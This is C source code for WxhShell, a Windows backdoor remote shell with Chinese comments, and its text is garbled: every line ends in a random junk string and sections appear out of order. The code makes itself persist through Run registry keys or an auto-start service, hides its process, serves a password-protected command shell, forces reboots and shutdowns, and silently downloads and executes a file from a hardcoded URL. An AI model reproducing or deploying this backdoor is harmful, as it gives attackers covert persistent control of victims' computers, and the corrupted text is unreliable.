ULONG UniqueProcessId; 19j+lCSvH
ULONG InheritedFromUniqueProcessId; 1Tm^
} PROCESS_BASIC_INFORMATION; T16{_
/, ! B2
PROCNTQSIP NtQueryInformationProcess; kJ Mf
oDU ;E
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g2T -TG'd
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [!U?}1YQ
.;*s`t
HANDLE hProcess; l@ap]R
PROCESS_BASIC_INFORMATION pbi; oD$J0{K6
>`%'4<I
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J;f!!<l\
if(NULL == hInst ) return 0; ,Bal
3fh8$A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >J>b>SU=-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yn/rW$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %,k][V
^)W[l!!<)
if (!NtQueryInformationProcess) return 0; |\g5+fv9
a!u
rew#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j<)9dEM'
if(!hProcess) return 0; INyk3`FT
)}_a
0bt
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XQ~Ke-QW)
\}
^E`b
CloseHandle(hProcess); pf_mf.
T.qNCJmB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LK@lpkX
if(hProcess==NULL) return 0; Jyqc2IH
#Z<a
HMODULE hMod; C,.Ee3T
char procName[255]; *Otg*,\
unsigned long cbNeeded; mI>,.&eo
-P]sRl3O;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2[r^M'J
^tCd L@$AS
CloseHandle(hProcess); ]C:l,I
<&:=z?30"
if(strstr(procName,"services")) return 1; // 以服务启动 h`H,a7
Y
"VY%S^
return 0; // 注册表启动 PxfY&;4n!
} z$kenhFG/
{4-[r#R<M
// 主模块 Yp:KI7
int StartWxhshell(LPSTR lpCmdLine) ($~RoQ=0S
{ Y)}Rb6qGW
SOCKET wsl; w&x!,yd;
BOOL val=TRUE; Bdu&V*0g
int port=0; {je-I9%OK
struct sockaddr_in door; Qr$;AZ G
RJ$7XCY%`*
if(wscfg.ws_autoins) Install(); FSRj4e1y1
Kk{<@v)
port=atoi(lpCmdLine); uSR~@Lj ~
tyDM'|p
if(port<=0) port=wscfg.ws_port; 5T:i9h
&c*^VL\
WSADATA data; Q(\4]i< S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IEcf
edK|NOOZ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D11F.McM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }@^4,FKJ
door.sin_family = AF_INET; Bk+{RN(w
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <$hu
door.sin_port = htons(port); (k|_J42[
is@b&V]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M_%B|S
{
closesocket(wsl); fks)+L'
return 1; >(snII
} bl'z<S,
'
<~)kwq'
if(listen(wsl,2) == INVALID_SOCKET) { YX_gb/A
closesocket(wsl); E.U_W
return 1; m-jHze`D3
}
(X?/"lC)
Wxhshell(wsl); P06RJE
WSACleanup(); c?%(Dp E
LvEnX S
return 0; ]]"jw{W}A
%H+\>raLz
} Z?O*'#yn
{b@KYR9K
// 以NT服务方式启动 Glpe/At
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) np4+"
{ q@jq0D)g
DWORD status = 0; k`x=D5s\
DWORD specificError = 0xfffffff; YOJ6w
}`NU@O#
serviceStatus.dwServiceType = SERVICE_WIN32; [S@}T
zE
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }E7:ihy
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q3y;$ "
serviceStatus.dwWin32ExitCode = 0; 3S&U!
serviceStatus.dwServiceSpecificExitCode = 0; }>[G5[\
serviceStatus.dwCheckPoint = 0; TET`b7G
serviceStatus.dwWaitHint = 0; _Um d
.%82P(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kn?lHH*w7
if (hServiceStatusHandle==0) return; e*.b3z
VnT>K9&3
status = GetLastError(); SnYLdwgl
if (status!=NO_ERROR) U`]T~9I
{ G5FaYL.7
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZKdeB3D
serviceStatus.dwCheckPoint = 0; Y1arX^Zb
serviceStatus.dwWaitHint = 0; ?}B:
serviceStatus.dwWin32ExitCode = status; 8L1oh j
serviceStatus.dwServiceSpecificExitCode = specificError; %xQ.7~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .WQ+AE8Q
return; oQL59XOT4
}
kZ=s'QRgL
2z@\R@F
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4);)@&0Md~
serviceStatus.dwCheckPoint = 0; >g;kJe
serviceStatus.dwWaitHint = 0; Ia'ZV7'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gxax2o
} wWXD\{Hk
2+Wzf)tB
// 处理NT服务事件,比如:启动、停止 ^Eo=W/
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;zdxs'hJ
{ W@2vjz
switch(fdwControl) e9E\% p
{ l)-Mq@V
case SERVICE_CONTROL_STOP: aSP4a+\*
serviceStatus.dwWin32ExitCode = 0; uZi.HG{<)
serviceStatus.dwCurrentState = SERVICE_STOPPED; &,.Y9;
b
serviceStatus.dwCheckPoint = 0; Ei2%DMN7)
serviceStatus.dwWaitHint = 0; O,.!2wVrN
{ I_q~*/<h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ')N{wSM9Ft
} >\!4Mk8
return; Bu]t*$
case SERVICE_CONTROL_PAUSE: LA[g(i 7
serviceStatus.dwCurrentState = SERVICE_PAUSED; v~/~@jv
break; d
HJhFw
case SERVICE_CONTROL_CONTINUE: 9*:gr#(5
serviceStatus.dwCurrentState = SERVICE_RUNNING; wIf
{6z{
break; ,]5Ic.};p
case SERVICE_CONTROL_INTERROGATE: _xLHrT!y
break; ;;)`c/$
}; k'X;ruQ:tF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Ng)k]G
} dz[
bm<T7
1w"8~Z:UXV
// 标准应用程序主函数 g`>og^7g
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R3X{:1{j
{ {w
<+_++
pZZf[p^s|
// 获取操作系统版本 RL[E X5U
OsIsNt=GetOsVer(); .O0O-VD+a
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9GdB#k6W`
3u33a"nL8
// 从命令行安装 .4l/_4,s_
if(strpbrk(lpCmdLine,"iI")) Install(); &5t :H 8b
-xD*tf*
// 下载执行文件 aV1lJ;0
if(wscfg.ws_downexe) { Hk7K`9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,pBh`av
WinExec(wscfg.ws_filenam,SW_HIDE); T$=4O9G
} Q7bq
cubUq5
if(!OsIsNt) { ]h9!ei
[
// 如果时win9x,隐藏进程并且设置为注册表启动 QjPj[c
HideProc(); 8I,QD`
xu
StartWxhshell(lpCmdLine); *xR
2)u
}
d^|0R
else B ZMu[M
if(StartFromService()) +!0eu>~_&
// 以服务方式启动 n,O5".aa<
StartServiceCtrlDispatcher(DispatchTable); 6>
{r6ixs1
else \.gEh1HW
// 普通方式启动 3I 0eW%,
StartWxhshell(lpCmdLine); *V k ^f+5
&2I*0
return 0; _KD5T4FZR
} 2-0$FQ@/
+1 eCvt:,
Ejq#~Zhr!
kVS?RHR
=========================================== 23DJV);g8
s0hBbL0DH
;o<m}bGaT
N{d@^Yj
6*@yE
Vga-@
" fYrGpW(`
(ozb%a#B
#include <stdio.h> O3NWXe<
#include <string.h> c3
&m9zC
#include <windows.h> ;pRcVL_4
#include <winsock2.h> T{vR,
#include <winsvc.h> )$x_!=@1
#include <urlmon.h> $(q>mg:H
] q~<=
#pragma comment (lib, "Ws2_32.lib") GQ_Ia\
#pragma comment (lib, "urlmon.lib") SJgY
o{-<L
#define MAX_USER 100 // 最大客户端连接数 E&~nps8e
#define BUF_SOCK 200 // sock buffer giavJ|
#define KEY_BUFF 255 // 输入 buffer !Ngw\@f
KbxR
Lx]w
#define REBOOT 0 // 重启 xU9@$am
#define SHUTDOWN 1 // 关机 H]#Rg`~n
5c-N0@\
#define DEF_PORT 5000 // 监听端口 (S^ck%]]a!
EqM;LgE=
#define REG_LEN 16 // 注册表键长度 F: 37MUQi
#define SVC_LEN 80 // NT服务名长度 yy(A(}
bb=uF1
// 从dll定义API F#+ .>!
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X21dX`eMN
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 84&XW
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~y0R'oi
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uL?vG6% ^1
7]22"mc
// wxhshell配置信息 W$?e<@
struct WSCFG { 'qv;sB.
int ws_port; // 监听端口 k<4P6?
char ws_passstr[REG_LEN]; // 口令 19d6]pJ5
int ws_autoins; // 安装标记, 1=yes 0=no kB\kpW
char ws_regname[REG_LEN]; // 注册表键名 $(HjI
\%l^
char ws_svcname[REG_LEN]; // 服务名 ?$%%Mp(
char ws_svcdisp[SVC_LEN]; // 服务显示名 3 EYiQ`
char ws_svcdesc[SVC_LEN]; // 服务描述信息 yqSY9EX7
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "2Op[~V
int ws_downexe; // 下载执行标记, 1=yes 0=no 5^)_B;.f
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^lO76Dz~a
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d$;/T('
s\0K o1
}; 2Ji+{,?,
GHN3PEJ>
// default Wxhshell configuration G{c#\?12C
struct WSCFG wscfg={DEF_PORT, ;rBp1[qVe
"xuhuanlingzhe", 5JFV%odo
1, :%-,Fxl4
"Wxhshell", oO=o|w|T
"Wxhshell", 7!2
HNg
"WxhShell Service", BgRZ<B`
"Wrsky Windows CmdShell Service", b1!@v+
"Please Input Your Password: ", uMFV%+I
1, E8/rZ~0O~
"http://www.wrsky.com/wxhshell.exe", ehOs9b
"Wxhshell.exe" E`@43Nz
}; V_a)jJ
.RRlUWu
// 消息定义模块 ESDB[
O+`x
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :):zNn_>`
char *msg_ws_prompt="\n\r? for help\n\r#>"; VO`"<
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bsO@2NP'
char *msg_ws_ext="\n\rExit."; 8sw,k
char *msg_ws_end="\n\rQuit."; HcJE0-"
char *msg_ws_boot="\n\rReboot..."; *_)E6Y?9
char *msg_ws_poff="\n\rShutdown..."; lfS;?~W0k
char *msg_ws_down="\n\rSave to "; zLek&s&-
C+l?k2
char *msg_ws_err="\n\rErr!"; HZ\k-!2
char *msg_ws_ok="\n\rOK!"; IL2r9x%
lfy7w|
char ExeFile[MAX_PATH]; AQ@v>wr}
int nUser = 0; NJ$e6$g)
HANDLE handles[MAX_USER]; _bI+QC#
int OsIsNt; S;}qLjT
&`@M8-m#F
SERVICE_STATUS serviceStatus; /4C`k=>
SERVICE_STATUS_HANDLE hServiceStatusHandle; eF1.VLI
yDtOpM8<{
// 函数声明 $pFk"]=
int Install(void); f9']
jJ+
int Uninstall(void); 6q%ed
UED
int DownloadFile(char *sURL, SOCKET wsh); }aZrou3E
int Boot(int flag); sb'p-Mj
void HideProc(void); _pSIJ3O
int GetOsVer(void); FDq{M?6i
int Wxhshell(SOCKET wsl); (2%>jg0M
void TalkWithClient(void *cs); 5\G)Q<A]*L
int CmdShell(SOCKET sock); ]_2yiKv&
int StartFromService(void); t:9
ZCu ay
int StartWxhshell(LPSTR lpCmdLine); },6*Y*?{
J~dTVBx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o>!JrH
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N5\{yV21",
#Wx=v$"
// 数据结构和表定义 rv?!y8\
SERVICE_TABLE_ENTRY DispatchTable[] = ]<X2AO1
{ WF)s*$'uz;
{wscfg.ws_svcname, NTServiceMain}, r~[B_f!
{NULL, NULL} K\X: G-C9
}; |#cAsf_{
9cOx@c+/
// 自我安装 E$T(Qu<-
int Install(void) l"L+e! B~
{ KnFQ)sX^
char svExeFile[MAX_PATH]; 73pC
HKEY key; [|<EDR
strcpy(svExeFile,ExeFile); yiO31uQt
qvTKfIl{
// 如果是win9x系统,修改注册表设为自启动 6J;i,/ky
if(!OsIsNt) { h,hL?imD
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1(pjVz&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +:y&{K
RegCloseKey(key); lA4hm4"i(,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &(0N.=R
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L?.7\a@
RegCloseKey(key); VIYV92[
return 0; wWFW,3b
} \-G5l+!
} j ]HE>
} uTw|Q{ f
else { {jhcZ"#>\
&oc_a1R
// 如果是NT以上系统,安装为系统服务 2+&R"#I
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r./z,4A`
if (schSCManager!=0) #4q1{)=
{ gA"<MI'y
SC_HANDLE schService = CreateService +{Gw9h"5g*
( N&N 82OG
schSCManager, =g[H]-Ee
wscfg.ws_svcname, M1gP
R
wscfg.ws_svcdisp, X{'wWWZC
SERVICE_ALL_ACCESS, &%}6q]e
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X?kPi&ru
SERVICE_AUTO_START, <THUsY`3P&
SERVICE_ERROR_NORMAL, xiJz`KD&
svExeFile, V^ Y*xZ
NULL, 'ucGt
NULL, Pzptr%{
NULL, W60Q3
NULL, cb4b,Ri
NULL 1{7_ `[
); =<>pKQ)[
if (schService!=0) wmiafBA e
{ s79q5
CloseServiceHandle(schService); @[0jFjK
CloseServiceHandle(schSCManager); Y8t
Nwh
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QglYU
strcat(svExeFile,wscfg.ws_svcname); ?d#Lr*m
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !4L#$VG
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?.~]mvOR
RegCloseKey(key); V-:`+&S{^
return 0; 6s&qZ+v-
} F;X"3F.!
} *<?XTs<
CloseServiceHandle(schSCManager); 0tSA|->(
} H}(=?}+
} <
)Alb\Z
=;g= GcVK
return 1; L[1d&d!p
} OAY8,C=M
oAC^4-Ld
// 自我卸载 TXx'7[
int Uninstall(void) v=j>^FZ
{ G u6[{u
HKEY key; *|sxa#
ujow?$&
if(!OsIsNt) { 9ec0^T
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v<%]XHN
RegDeleteValue(key,wscfg.ws_regname); XEa~)i{O
RegCloseKey(key); X+d&OcO=q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `|uoqKv
RegDeleteValue(key,wscfg.ws_regname); /XjN%|
RegCloseKey(key); vB=;_=^i1
return 0; Bmmb
} :mzCeX8 *
} #fO*ROe
} hzW{_Q.|?
else { H'D#s;SlR
BQE{
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VVgsLQd
if (schSCManager!=0) yW[L,N7d
{ Jm%mm SYK
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B,w:DX
if (schService!=0) <( cM*kV
{ 3.B4(9:>,
if(DeleteService(schService)!=0) { ]v<d0"2
CloseServiceHandle(schService); CG CQa0
CloseServiceHandle(schSCManager); u0wn=Dg
return 0; #"|"cYi,
} iJEB?y
CloseServiceHandle(schService); N\c&PS
} 9/FG,9
CloseServiceHandle(schSCManager); keq r%:E8
} =rtS#u
Y
} yi sF5`+
x GwTk
return 1; #_on{I
} |X,$?ZDap
4t,zHR6W
// 从指定url下载文件 Wk7L:uK
int DownloadFile(char *sURL, SOCKET wsh) };i&a%I|
{ c6f|y_2
HRESULT hr; @< wYT$
char seps[]= "/"; wwo(n$!\
char *token; j!6elzg
char *file; n9N#&Q"7m
char myURL[MAX_PATH]; $+A%ODv
char myFILE[MAX_PATH]; 'y'T'2N3
,LoMt ]H
strcpy(myURL,sURL); &b5T&-C<
token=strtok(myURL,seps); vYYS.ve
while(token!=NULL) /A%om|+Gq
{ ?s1u#'aO
file=token; s*aH`M7^0
token=strtok(NULL,seps); )3BR[*u*
} =X)Q7u".7
,Le&I9*%
GetCurrentDirectory(MAX_PATH,myFILE); Y;'VosTD
strcat(myFILE, "\\"); -08&&H
strcat(myFILE, file); (Nm}3 p
send(wsh,myFILE,strlen(myFILE),0); t|go5DXz4
send(wsh,"...",3,0); tniPEmeS
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8f /T!5
if(hr==S_OK) av'd%LZP
return 0; [`y:M&@
else mrK,Ql
return 1; i_[^s:*T
?SB[lbU
} SPfD2%jjC
&oon'q5;
// 系统电源模块 /'R UA
int Boot(int flag) DZ%g^DRZX
{ nYI/&B{p
HANDLE hToken; b`(yu.{Jn
TOKEN_PRIVILEGES tkp; 9`)w@-~~
+9F^F>mu
if(OsIsNt) { NFrNm'v
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); om XBnzT
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )j{WeG7L
tkp.PrivilegeCount = 1; %bCcsdK
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 83{x"G3>
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'LJ %.DJ
if(flag==REBOOT) { qf_hb
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *37LN
return 0; Z}sG3p
} WF+bN#YJ
else { ~C}(\8g
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?2JS&i
return 0; z*Myokhf
} 9\AEyaJFZ
}
1m&!l6Jk
else { ^U-vD[O8
if(flag==REBOOT) { C1ZFA![
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sf+(1_^`t
return 0; zF[3%qZE:T
} 4]Un=?)I
else { Y{%4F%Oy
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )ZS:gD
return 0; K*([9VZ
} g`%ED0aR
} WHlD%u
|#DC.Ga!
return 1; 7bgnZ]r8t
} \SYPu,ZT
&Iv\jhq
// win9x进程隐藏模块 n;-x!Gs
void HideProc(void) btUUZ"q<
{ ?)A]q'
O
x:f|3"\s
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G=r(SJq
if ( hKernel != NULL ) Gk{
"O%AE
{ 4
+da
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]7#^])>
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LV}UBao5n
FreeLibrary(hKernel); OhSt6&+
} X";QA":
^yn[QWFO
return; 377j3dP
} \j,v/C@c-
9pVf2|5hj
// 获取操作系统版本 v`z=OHc
int GetOsVer(void) z4%Z6Y
{ JL"
3#p}
OSVERSIONINFO winfo; afxj[;p!
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zxk??0]/
GetVersionEx(&winfo); j6&zRFX
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G/LXUhuif
return 1; hO+O0=$}wN
else Q9Y9{T
return 0; MFc=B`/X
} !7O=<